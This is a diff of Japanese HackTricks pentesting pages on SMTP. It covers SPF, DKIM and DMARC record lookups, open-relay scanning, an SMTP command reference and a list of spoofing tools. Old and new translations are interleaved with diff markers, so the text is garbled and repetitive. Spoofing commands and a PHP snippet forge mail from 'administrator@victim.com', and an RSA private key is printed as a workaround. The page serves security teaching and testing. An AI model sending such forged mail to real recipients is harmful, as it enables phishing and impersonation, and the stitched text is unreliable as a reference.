通常、**各SPFポリシーの最後に**、**\~all**または**-all**のようなものがあります。これは、**送信者がSPFポリシーに一致しない場合、メールを信頼できないものとしてタグ付けする(\~)か、メールを拒否する(-)かを示すために使用されます。**
|
||||
また、**メカニズムが一致した場合の処理方法を示す** **クオリファイア**を識別することも可能です。デフォルトでは、**クオリファイア "+"**が使用されます（つまり、どのメカニズムが一致しても許可されることを意味します）。\
|
||||
通常、**各SPFポリシーの最後に**次のようなものがあることに注意してください：**\~all**または**-all**。これは、**送信者がどのSPFポリシーにも一致しない場合、メールを信頼できない（\~）としてタグ付けするか、メールを拒否（-）する必要があることを示すために使用されます。**
|
||||
|
||||
#### クオリファイア
|
||||
|
||||
各メカニズムは、以下の4つのクオリファイアのいずれかと組み合わせることができます：
|
||||
ポリシー内の各メカニズムは、意図された結果を定義するために、次の4つのクオリファイアのいずれかで接頭辞を付けることができます：
|
||||
|
||||
* **`+`** はPASS結果です。これは省略可能です。例えば、`+mx`は`mx`と同じです。
|
||||
* **`?`** はNEUTRAL結果で、NONE（ポリシーなし）と同じように解釈されます。
|
||||
* **`~`**（チルダ）はSOFTFAILで、NEUTRALとFAILの間のデバッグ支援です。通常、SOFTFAILを返すメッセージは受け入れられますが、タグ付けされます。
|
||||
* **`-`**（マイナス）はFAILで、メールは拒否されるべきです（下記参照）。
|
||||
* **`+`**: PASS結果に対応します。デフォルトでは、メカニズムはこのクオリファイアを想定しており、`+mx`は`mx`と同等です。
|
||||
* **`?`**: NEUTRAL結果を表し、特定のポリシーがない場合と同様に扱われます。
|
||||
* **`~`**: SOFTFAILを示し、NEUTRALとFAILの中間地点として機能します。この結果を満たすメールは通常受け入れられますが、適切にマークされます。
|
||||
* **`-`**: FAILを示し、メールを断固として拒否すべきであることを示します。
|
||||
|
||||
以下の例では、**google.comのSPFポリシー**を読むことができます。**最初のSPFポリシーが他のドメインのSPFポリシーを含んでいる**ことに注意してください：
|
||||
次の例では、**google.comのSPFポリシー**が示されています。最初のSPFポリシー内で異なるドメインのSPFポリシーが含まれていることに注意してください：
|
||||
```shell-session
|
||||
kali@kali:~$ dig txt google.com | grep spf
|
||||
dig txt google.com | grep spf
|
||||
google.com. 235 IN TXT "v=spf1 include:_spf.google.com ~all"
|
||||
|
||||
kali@kali:~$ dig txt _spf.google.com | grep spf
|
||||
dig txt _spf.google.com | grep spf
|
||||
; <<>> DiG 9.11.3-1ubuntu1.7-Ubuntu <<>> txt _spf.google.com
|
||||
;_spf.google.com. IN TXT
|
||||
_spf.google.com. 235 IN TXT "v=spf1 include:_netblocks.google.com include:_netblocks2.google.com include:_netblocks3.google.com ~all"
|
||||
|
||||
kali@kali:~$ dig txt _netblocks.google.com | grep spf
|
||||
dig txt _netblocks.google.com | grep spf
|
||||
_netblocks.google.com. 1606 IN TXT "v=spf1 ip4:35.190.247.0/24 ip4:64.233.160.0/19 ip4:66.102.0.0/20 ip4:66.249.80.0/20 ip4:72.14.192.0/18 ip4:74.125.0.0/16 ip4:108.177.8.0/21 ip4:173.194.0.0/16 ip4:209.85.128.0/17 ip4:216.58.192.0/19 ip4:216.239.32.0/19 ~all"
|
||||
|
||||
kali@kali:~$ dig txt _netblocks2.google.com | grep spf
|
||||
dig txt _netblocks2.google.com | grep spf
|
||||
_netblocks2.google.com. 1908 IN TXT "v=spf1 ip6:2001:4860:4000::/36 ip6:2404:6800:4000::/36 ip6:2607:f8b0:4000::/36 ip6:2800:3f0:4000::/36 ip6:2a00:1450:4000::/36 ip6:2c0f:fb50:4000::/36 ~all"
|
||||
|
||||
kali@kali:~$ dig txt _netblocks3.google.com | grep spf
|
||||
dig txt _netblocks3.google.com | grep spf
|
||||
_netblocks3.google.com. 1903 IN TXT "v=spf1 ip4:172.217.0.0/19 ip4:172.217.32.0/20 ip4:172.217.128.0/19 ip4:172.217.160.0/20 ip4:172.217.192.0/19 ip4:172.253.56.0/21 ip4:172.253.112.0/20 ip4:108.177.96.0/19 ip4:35.191.0.0/16 ip4:130.211.0.0/22 ~all"
|
||||
```
|
||||
従来、正しいSPFレコードがない、または任意のSPFレコードがないドメイン名を偽装することが可能でした。**現在**、**有効なSPFレコードがないドメインからのメール**は、おそらく**自動的に拒否されるか、信頼できないとマークされます**。
|
||||
従来、正確な/存在しないSPFレコードを持たないドメイン名をスプーフィングすることが可能でした。**現在では**、**有効なSPFレコードのないドメインからの電子メール**はおそらく**自動的に拒否される/信頼されないとマークされる可能性があります**。
|
||||
|
||||
ドメインのSPFをチェックするには、以下のようなオンラインツールを使用できます: [https://www.kitterman.com/spf/validate.html](https://www.kitterman.com/spf/validate.html)
|
||||
ドメインのSPFをチェックするには、[https://www.kitterman.com/spf/validate.html](https://www.kitterman.com/spf/validate.html)のようなオンラインツールを使用できます。
|
||||
|
||||
### DKIM
|
||||
### DKIM（DomainKeys Identified Mail）
|
||||
|
||||
DomainKeys Identified Mail (DKIM) は、**送信されたメールが外部のMTAによって検証され、DNS経由でドメインの公開鍵を取得するメカニズム**です。DKIMの公開鍵はドメインのTXTレコード内に保持されていますが、それを取得するにはセレクタとドメイン名の両方を知る必要があります。
|
||||
DKIMは、送信メールに署名を付けるために使用され、外部のメール転送エージェント（MTA）がDNSからドメインの公開鍵を取得して検証できるようにします。この公開鍵は、ドメインのTXTレコードに格納されています。この鍵にアクセスするには、セレクタとドメイン名の両方を知っている必要があります。
|
||||
|
||||
その後、鍵を要求するには、メールヘッダーの `DKIM-Signature` からドメイン名とセレクタが必要です。例: `d=gmail.com;s=20120113`
|
||||
たとえば、鍵をリクエストするには、ドメイン名とセレクタが必要です。これらはメールヘッダー`DKIM-Signature`で見つけることができます。例：`d=gmail.com;s=20120113`。
|
||||
|
||||
この情報を取得するためのコマンドは次のようになります：
|
||||
```bash
|
||||
dig 20120113._domainkey.gmail.com TXT | grep p=
|
||||
20120113._domainkey.gmail.com. 280 IN TXT "k=rsa\; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCg
|
||||
KCAQEA1Kd87/UeJjenpabgbFwh+eBCsSTrqmwIYYvywlbhbqoo2DymndFkbjOVIPIldNs/m40KF+yzMn1skyoxcTUGCQs8g3
|
||||
# This command would return something like:
|
||||
20120113._domainkey.gmail.com. 280 IN TXT "k=rsa\; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA1Kd87/UeJjenpabgbFwh+eBCsSTrqmwIYYvywlbhbqoo2DymndFkbjOVIPIldNs/m40KF+yzMn1skyoxcTUGCQs8g3
|
||||
```
|
||||
### DMARC
|
||||
### DMARC (Domain-based Message Authentication, Reporting & Conformance)
|
||||
|
||||
Domain-based Message Authentication, Reporting & Conformance (DMARC) は、SPFとDKIMを拡張したメール認証方法です。ポリシーは、特定のドメインのメールを処理する方法と実行されたアクションについて報告する方法をメールサーバーに指示します。
|
||||
DMARCは、SPFとDKIMプロトコルを基にして電子メールのセキュリティを強化します。特定のドメインからのメールの取り扱いについてのポリシーを概説し、認証の失敗の取り扱い方法や電子メール処理アクションに関するレポートの送信先などを指示します。
|
||||
|
||||
.png>)
|
||||
**DMARCレコードを取得するには、サブドメイン\_dmarcをクエリする必要があります**
|
||||
```bash
|
||||
# Reject
|
||||
dig _dmarc.facebook.com txt | grep DMARC
|
||||
_dmarc.facebook.com. 3600 IN TXT "v=DMARC1; p=reject; rua=mailto:a@dmarc.facebookmail.com; ruf=mailto:fb-dmarc@datafeeds.phishlabs.com; pct=100"
|
||||
|
||||
**DMARCレコードを取得するには、サブドメイン \_dmarc を照会する必要があります**
|
||||
```shell-session
|
||||
root@kali:~# dig _dmarc.yahoo.com txt | grep DMARC
|
||||
_dmarc.yahoo.com. 1785 IN TXT "v=DMARC1\; p=reject\; sp=none\; pct=100\;
|
||||
rua=mailto:dmarc-yahoo-rua@yahoo-inc.com, mailto:dmarc_y_rua@yahoo.com\;"
|
||||
# Quarantine
|
||||
dig _dmarc.google.com txt | grep DMARC
|
||||
_dmarc.google.com. 300 IN TXT "v=DMARC1; p=quarantine; rua=mailto:mailauth-reports@google.com"
|
||||
|
||||
root@kali:~# dig _dmarc.google.com txt | grep DMARC
|
||||
_dmarc.google.com. 600 IN TXT "v=DMARC1\; p=quarantine\; rua=mailto:mailauth-reports@google.com"
|
||||
|
||||
root@kali:~# dig _dmarc.paypal.com txt | grep DMARC
|
||||
_dmarc.paypal.com. 300 IN TXT "v=DMARC1\; p=reject\; rua=mailto:d@rua.agari.com\;
|
||||
ruf=mailto:dk@bounce.paypal.com,mailto:d@ruf.agari.com"
|
||||
# None
|
||||
dig _dmarc.bing.com txt | grep DMARC
|
||||
_dmarc.bing.com. 3600 IN TXT "v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMARC@microsoft.com;"
|
||||
```
|
||||
#### DMARCタグ
|
||||
#### DMARC タグ
|
||||
|
||||
| タグ名 | 目的 | 例 |
|
||||
| ------ | ---------------------------------------------- | ------------------------------- |
|
||||
| v | プロトコルバージョン | v=DMARC1 |
|
||||
| pct | フィルタリングされるメッセージの割合 | pct=20 |
|
||||
| ruf | フォレンジックレポートのための報告URI | ruf=mailto:authfail@example.com |
|
||||
| rua | 集約レポートのための報告URI | rua=mailto:aggrep@example.com |
|
||||
| p | 組織ドメインのポリシー | p=quarantine |
|
||||
| sp | ODのサブドメインのポリシー | sp=reject |
|
||||
| adkim | DKIMのアライメントモード | adkim=s |
|
||||
| aspf | SPFのアライメントモード | aspf=r |
|
||||
| タグ名 | 目的 | サンプル |
|
||||
| -------- | --------------------------------------------- | ------------------------------- |
|
||||
| v | プロトコルバージョン | v=DMARC1 |
|
||||
| pct | フィルタリングされるメッセージの割合 | pct=20 |
|
||||
| ruf | 法的報告用の報告URI | ruf=mailto:authfail@example.com |
|
||||
| rua | 集計レポート用の報告URI | rua=mailto:aggrep@example.com |
|
||||
| p | 組織ドメインのポリシー | p=quarantine |
|
||||
| sp | ODのサブドメインのポリシー | sp=reject |
|
||||
| adkim | DKIMのアライメントモード | adkim=s |
|
||||
| aspf | SPFのアライメントモード | aspf=r |
|
||||
|
||||
### **サブドメインについては？**
|
||||
|
||||
**[**こちら**](https://serverfault.com/questions/322949/do-spf-records-for-primary-domain-apply-to-subdomains)**から。**\
|
||||
メールを送信する各サブドメインには、別々のSPFレコードが必要です。\
|
||||
以下は、かつてこの種の情報のための素晴らしいリソースであったopenspf.orgに掲載されていたものです。
|
||||
**こちら**から。\
|
||||
送信元のメールアドレスに対して送信する各サブドメインには、それぞれ別々のSPFレコードが必要です。\
|
||||
以下は、元々openspf.orgに投稿されたもので、この種の情報には非常に役立つリソースでした。
|
||||
|
||||
> デーモンの問題：サブドメインについては？
|
||||
> デーモンの質問: サブドメインについてはどうですか？
|
||||
>
|
||||
> pielovers.demon.co.ukからメールが届き、pieloversにSPFデータがない場合、一つ上のレベルでdemon.co.ukのSPFをテストすべきか？いいえ。デーモンの各サブドメインは異なる顧客であり、各顧客は独自のポリシーを持つかもしれません。デーモンのポリシーがデフォルトで全ての顧客に適用されることは理にかなっていません。デーモンがそれを望むなら、各サブドメインにSPFレコードを設定できます。
|
||||
> pielovers.demon.co.ukからメールを受け取った場合、pieloversに対するSPFデータがない場合、demon.co.ukのSPFをテストすべきですか？いいえ。Demonの各サブドメインは異なる顧客であり、各顧客は独自のポリシーを持っているかもしれません。Demonのポリシーがデフォルトですべての顧客に適用されるのは意味がありません。Demonがそれを行いたい場合は、各サブドメインのためにSPFレコードを設定できます。
|
||||
>
|
||||
> SPF発行者へのアドバイスは次のとおりです：AレコードまたはMXレコードを持つ各サブドメインまたはホスト名にSPFレコードを追加すべきです。
|
||||
>
|
||||
> ワイルドカードのAレコードまたはMXレコードを持つサイトは、次の形式のワイルドカードSPFレコードも持つべきです：\* IN TXT "v=spf1 -all"
|
||||
> したがって、SPFパブリッシャーへのアドバイスは次のとおりです。AレコードまたはMXレコードを持つ各サブドメインまたはホスト名に対してSPFレコードを追加する必要があります。
|
||||
|
||||
これは理にかなっています - サブドメインは異なる地理的位置にあり、非常に異なるSPF定義を持つ可能性があります。
|
||||
これは理にかなっています - サブドメインは異なる地理的位置にあり、非常に異なるSPF定義を持っている可能性があります。
|
||||
|
||||
### **オープンリレー**
|
||||
|
||||
送信されたメールがスパムフィルターによってフィルタリングされ、受信者に届かないようにするため、送信者は**受信者が信頼するリレーサーバー**を使用できます。管理者はしばしば、どの**IP**範囲を**許可**する必要があるかを**把握していません**。これは、外部および内部のペネトレーションテストで今でもしばしば見つかるSMTPサーバーの誤設定につながります。したがって、彼らはメールトラフィックでエラーを引き起こさないように、そして潜在的および現在の顧客とのコミュニケーションを妨げたり、意図せず中断したりしないように、**すべてのIPアドレスを許可**します。
|
||||
```shell-session
|
||||
**受信者に信頼されるリレーサーバー**の使用は、送信されたメールがスパムとしてマークされず、意図した宛先に到達することを確実にする戦略となり得ます。ただし、管理者が許可すべき**IP**範囲について詳細な理解を欠いていることがしばしば観察されています。この知識の欠如は、SMTPサーバーの誤構成につながる可能性があり、これは外部および内部の侵入テストで一般的に発見される脆弱性です。この問題を回避し、潜在的および既存の顧客との電子メールコミュニケーションを誤って妨げることを避けるために、管理者はすべてのIPアドレスを許可することを選択するかもしれません。このアプローチは、SMTPサーバーの構成に反映され、`mynetworks`パラメータが任意のIPアドレスからの接続を許可するように設定されています:
|
||||
```bash
|
||||
mynetworks = 0.0.0.0/0
|
||||
```
|
||||
以下は、IPアドレス10.10.10.10のサーバーのポート25をスキャンするために`nmap`がどのように使用されるかを示すコマンドです。詳細な出力を提供します。
|
||||
|
||||
```bash
|
||||
nmap -p 25 --script smtp-open-relay -v 10.10.10.10
|
||||
```
|
||||
```bash
|
||||
nmap -p25 --script smtp-open-relay 10.10.10.10 -v
|
||||
```
|
||||
### **ツール**
|
||||
|
||||
* [**https://github.com/serain/mailspoof**](https://github.com/serain/mailspoof) **SPFとDMARCの誤設定をチェック**
|
||||
* [**https://pypi.org/project/checkdmarc/**](https://pypi.org/project/checkdmarc/) **自動的にSPFとDMARCの設定を取得**
|
||||
* [**https://github.com/serain/mailspoof**](https://github.com/serain/mailspoof) **SPF および DMARC の設定ミスをチェックします**
|
||||
* [**https://pypi.org/project/checkdmarc/**](https://pypi.org/project/checkdmarc/) **自動的に SPF および DMARC の設定を取得します**
|
||||
|
||||
### 偽装メールを送信
|
||||
### スプーフィングメールの送信
|
||||
|
||||
* [**https://www.mailsploit.com/index**](https://www.mailsploit.com/index)
|
||||
* [**http://www.anonymailer.net/**](http://www.anonymailer.net)
|
||||
* [**https://emkei.cz/**](https://emkei.cz/)\*\*\*\*
|
||||
|
||||
**または、ツールを使用することもできます:**
|
||||
**またはツールを使用することもできます:**
|
||||
|
||||
* [**https://github.com/magichk/magicspoofing**](https://github.com/magichk/magicspoofing)\*\*\*\*
|
||||
```bash
|
||||
|
|
@ -399,8 +406,8 @@ python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com
|
|||
python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com --subject TEST --sender administrator@victim.com
|
||||
```
|
||||
{% hint style="warning" %}
|
||||
dkim pythonライブラリを使用してキーの解析中に**エラーが発生した場合**、以下のものを使用してください。\
|
||||
**注意**: これは、opensslプライベートキーが何らかの理由でdkimによって**解析できない**場合に、迅速なチェックを行うための一時的な修正です。
|
||||
dkim pythonライブラリを使用してキーを解析する際にエラーが発生した場合は、以下のキーを使用してください。\
|
||||
**注意**: これは、何らかの理由でopensslの秘密キーがdkimによって解析できない場合に、素早くチェックを行うための一時的な修正です。
|
||||
```
|
||||
-----BEGIN RSA PRIVATE KEY-----
|
||||
MIICXgIBAAKBgQDdkohAIWT6mXiHpfAHF8bv2vHTDboN2dl5pZKG5ZSHCYC5Z1bt
|
||||
|
|
@ -420,12 +427,12 @@ K9B7U1w0CJFUk6+4Qutr2ROqKtNOff9KuNRLAOiAzH3ZbQ==
|
|||
```
|
||||
{% endhint %}
|
||||
|
||||
**手動で行うこともできます：**
|
||||
**または、手動で行うこともできます:**
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="PHP" %}
|
||||
<pre class="language-php"><code class="lang-php"><strong># これは署名されていないメッセージを送信します
|
||||
</strong><strong>mail("your_email@gmail.com", "テストの件名！", "ねえ！これはテストです", "From: administrator@victim.com");
|
||||
</strong><strong>mail("your_email@gmail.com", "テスト件名！", "こんにちは！これはテストです", "From: administrator@victim.com");
|
||||
</strong></code></pre>
|
||||
{% endtab %}
|
||||
|
||||
|
|
@ -490,7 +497,7 @@ s.sendmail(sender, [destination], msg_data)
|
|||
|
||||
### **詳細情報**
|
||||
|
||||
**これらの保護についての詳細情報はこちらで確認できます** [**https://seanthegeek.net/459/demystifying-dmarc/**](https://seanthegeek.net/459/demystifying-dmarc/)
|
||||
**これらの保護に関する詳細情報は、**[**https://seanthegeek.net/459/demystifying-dmarc/**](https://seanthegeek.net/459/demystifying-dmarc/) **で見つけることができます。**
|
||||
|
||||
### **その他のフィッシング指標**
|
||||
|
||||
|
|
@ -498,27 +505,31 @@ s.sendmail(sender, [destination], msg_data)
|
|||
* IPアドレスを指すリンク
|
||||
* リンク操作技術
|
||||
* 疑わしい（一般的でない）添付ファイル
|
||||
* 壊れたメールコンテンツ
|
||||
* メールコンテンツの破損
|
||||
* メールヘッダーと異なる値の使用
|
||||
* 有効かつ信頼できるSSL証明書の存在
|
||||
* ウェブコンテンツフィルタリングサイトへのページの提出
|
||||
* 有効で信頼できるSSL証明書の存在
|
||||
* ページのWebコンテンツフィルタリングサイトへの提出
|
||||
|
||||
## SMTPを通じたデータ流出
|
||||
## SMTPを介した情報の持ち出し
|
||||
|
||||
**SMTP経由でデータを送信できる場合** [**これを読んでください**](../../generic-methodologies-and-resources/exfiltration.md#smtp)**。**
|
||||
**SMTPを介してデータを送信できる場合は、**[**こちらを読んでください**](../../generic-methodologies-and-resources/exfiltration.md#smtp)**。**
|
||||
|
||||
## 設定ファイル
|
||||
|
||||
### Postfix
|
||||
|
||||
通常、インストールされている場合、`/etc/postfix/master.cf` には、例えば新しいメールがユーザーによって受信されたときに実行する**スクリプト**が含まれています。例えば、`flags=Rq user=mark argv=/etc/postfix/filtering-f ${sender} -- ${recipient}` という行は、ユーザーmarkに新しいメールが受信された場合、`/etc/postfix/filtering` が実行されることを意味します。
|
||||
通常、インストールされている場合、`/etc/postfix/master.cf`には、例えばユーザーが新しいメールを受信したときに実行される**スクリプトが含まれています。** たとえば、`flags=Rq user=mark argv=/etc/postfix/filtering-f ${sender} -- ${recipient}`という行は、ユーザーmarkが新しいメールを受信した場合に`/etc/postfix/filtering`が実行されることを意味します。
|
||||
|
||||
他の設定ファイル：
|
||||
その他の設定ファイル:
|
||||
```
|
||||
sendmail.cf
|
||||
submit.cf
|
||||
```
|
||||
## HackTricks 自動コマンド
|
||||
## 参考文献
|
||||
* [https://research.nccgroup.com/2015/06/10/username-enumeration-techniques-and-their-value/](https://research.nccgroup.com/2015/06/10/username-enumeration-techniques-and-their-value/)
|
||||
* [https://www.reddit.com/r/HowToHack/comments/101it4u/what_could_hacker_do_with_misconfigured_smtp/](https://www.reddit.com/r/HowToHack/comments/101it4u/what_could_hacker_do_with_misconfigured_smtp/)
|
||||
|
||||
## HackTricks Automatic Commands
|
||||
```
|
||||
Protocol_Name: SMTP #Protocol Abbreviation if there is one.
|
||||
Port_Number: 25,465,587 #Comma separated if there is more than one.
|
||||
|
|
@ -571,19 +582,19 @@ Command: msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_version; set RHOSTS {
|
|||
```
|
||||
<figure><img src="/.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**即時に利用可能な脆弱性評価とペネトレーションテストのセットアップ**。どこからでもフルペンテストを実行でき、リコンからレポーティングまでの20以上のツールと機能があります。私たちはペネトレーターを置き換えるのではなく、彼らがより深く掘り下げ、シェルをポップし、楽しむために時間を取り戻すためにカスタムツール、検出とエクスプロイトモジュールを開発します。
|
||||
**脆弱性評価とペネトレーションテストのための即座に利用可能なセットアップ**。レコンからレポート作成まで、20以上のツールと機能を使用してどこからでも完全なペネトレーションテストを実行します。私たちはペネトレーションテスターを置き換えるのではなく、彼らに時間を戻してより深く掘り下げたり、シェルをポップしたり、楽しんだりするためのカスタムツール、検出、およびエクスプロイテーションモジュールを開発しています。
|
||||
|
||||
{% embed url="https://pentest-tools.com/" %}
|
||||
<details>
|
||||
|
||||
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>！</strong></summary>
|
||||
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
HackTricksをサポートする他の方法：
|
||||
|
||||
* **HackTricksにあなたの会社を広告したい場合**、または**HackTricksをPDFでダウンロードしたい場合**は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください！
|
||||
* [**公式のPEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見する、私たちの独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクション
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加する**か、[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローする**。
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを**共有する**。
|
||||
* **HackTricksで企業を宣伝したり、HackTricksをPDFでダウンロードしたい場合は** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) **をチェックしてください！**
|
||||
* [**公式PEASS＆HackTricksのグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) **をフォローする。**
|
||||
* **ハッキングトリックを共有するために** [**HackTricks**](https://github.com/carlospolop/hacktricks) **と** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリにPRを提出する。**
|
||||
|
||||
</details>
|
||||
|
|
|
|||
|
|
@ -2,81 +2,81 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)でゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>htARTE（HackTricks AWS Red Team Expert）</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を通じてゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong>！</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
HackTricks をサポートする他の方法:
|
||||
|
||||
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください！
|
||||
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見する、私たちの独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクション
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加する**か、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローする**。
|
||||
* **HackTricks**の[**GitHubリポジトリ**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)にPRを提出して、あなたのハッキングのコツを共有する。
|
||||
* **HackTricks で企業を宣伝したい**または **HackTricks をPDFでダウンロードしたい**場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください！
|
||||
* [**公式PEASS＆HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける
|
||||
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)** に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 で **@carlospolopm** をフォローする**.**
|
||||
* **ハッキングテクニックを共有するために、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**脆弱性評価とペネトレーションテストのための即時利用可能なセットアップ**。どこからでもフルペネトレーションテストを実行し、リコンからレポーティングまでの20以上のツールと機能を備えています。私たちはペネトレーションテスターを置き換えるものではありません - 私たちはカスタムツール、検出およびエクスプロイトモジュールを開発して、彼らがより深く掘り下げ、シェルをポップし、楽しむための時間を取り戻すのを助けます。
|
||||
**脆弱性評価とペネトレーションテストのための即座に利用可能なセットアップ**。20以上のツールと機能を備えた完全なペンテストをどこからでも実行します。ペンテスターを置き換えるのではなく、カスタムツール、検出、およびエクスプロイトモジュールを開発して、より深く掘り下げたり、シェルをポップしたり、楽しんだりする時間を与えます。
|
||||
|
||||
{% embed url="https://pentest-tools.com/" %}
|
||||
|
||||
**抜粋元:** [**https://serversmtp.com/smtp-commands/**](https://serversmtp.com/smtp-commands/)
|
||||
**コマンド元:** [**https://serversmtp.com/smtp-commands/**](https://serversmtp.com/smtp-commands/)
|
||||
|
||||
**HELO**\
|
||||
最初のSMTPコマンドです。送信サーバーを識別し、会話を開始し、通常はそのドメイン名に続きます。
|
||||
これは最初のSMTPコマンドです：送信元サーバーを識別し、通常はそのドメイン名が続きます。
|
||||
|
||||
**EHLO**\
|
||||
会話を開始するための代替コマンドで、サーバーが拡張SMTPプロトコルを使用していることを示します。
|
||||
|
||||
**MAIL FROM**\
|
||||
このSMTPコマンドで操作が始まります。送信者は「From」フィールドにソースメールアドレスを指定し、実際にメール転送を開始します。
|
||||
このSMTPコマンドでは、送信者が「From」フィールドでソースメールアドレスを述べ、実際にメール転送を開始します。
|
||||
|
||||
**RCPT TO**\
|
||||
メールの受信者を識別します。複数の受信者がいる場合は、単にアドレスごとにコマンドを繰り返します。
|
||||
メールの受信者を識別します。複数いる場合は、コマンドが単にアドレスごとに繰り返されます。
|
||||
|
||||
**SIZE**\
|
||||
このSMTPコマンドは、添付されたメールの推定サイズ（バイト単位）についてリモートサーバーに通知します。また、サーバーによって受け入れられるメッセージの最大サイズを報告するためにも使用されます。
|
||||
このSMTPコマンドは、添付メールの推定サイズ（バイト単位）についてリモートサーバーに通知します。また、サーバーが受け入れるメッセージの最大サイズを報告するために使用することもできます。
|
||||
|
||||
**DATA**\
|
||||
DATAコマンドでメールの内容の転送が始まります。通常、サーバーから354の応答コードが続き、実際の送信を開始する許可が与えられます。
|
||||
DATAコマンドを使用すると、メールの内容が転送され始めます。通常、サーバーから与えられる354の応答コードに続いて、実際の転送を開始する許可が与えられます。
|
||||
|
||||
**VRFY**\
|
||||
サーバーに対して、特定のメールアドレスまたはユーザー名が実際に存在するかどうかを検証するように依頼します。
|
||||
特定のメールアドレスやユーザー名が実際に存在するかどうかを確認するようにサーバーに要求します。
|
||||
|
||||
**TURN**\
|
||||
クライアントとサーバー間の役割を逆転させるために使用されるコマンドで、新しい接続を実行する必要はありません。
|
||||
このコマンドは、新しい接続を実行する必要なしに、クライアントとサーバーの役割を逆転させるために使用されます。
|
||||
|
||||
**AUTH**\
|
||||
AUTHコマンドを使用して、クライアントはサーバーに対して自身を認証し、ユーザー名とパスワードを提供します。これは適切な転送を保証するためのセキュリティのもう一層です。
|
||||
AUTHコマンドを使用すると、クライアントはユーザー名とパスワードを提供してサーバーに認証します。適切な転送を保証するためのセキュリティの別のレイヤーです。
|
||||
|
||||
**RSET**\
|
||||
進行中のメール転送が終了することをサーバーに通知しますが、SMTP会話は終了しません（QUITの場合のように）。
|
||||
進行中のメール転送が終了することをサーバーに通知しますが、SMTP会話は閉じられません（QUITの場合とは異なり）。
|
||||
|
||||
**EXPN**\
|
||||
メーリングリストの識別についての確認を求めるSMTPコマンドです。
|
||||
このSMTPコマンドは、メーリングリストの識別について確認を求めます。
|
||||
|
||||
**HELP**\
|
||||
クライアントがメールの成功した転送に役立つ情報を要求するコマンドです。
|
||||
メールの成功した転送のために役立つ情報をクライアントがリクエストします。
|
||||
|
||||
**QUIT**\
|
||||
SMTP会話を終了します。
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**脆弱性評価とペネトレーションテストのための即時利用可能なセットアップ**。どこからでもフルペネトレーションテストを実行し、リコンからレポーティングまでの20以上のツールと機能を備えています。私たちはペネトレーションテスターを置き換えるものではありません - 私たちはカスタムツール、検出およびエクスプロイトモジュールを開発して、彼らがより深く掘り下げ、シェルをポップし、楽しむための時間を取り戻すのを助けます。
|
||||
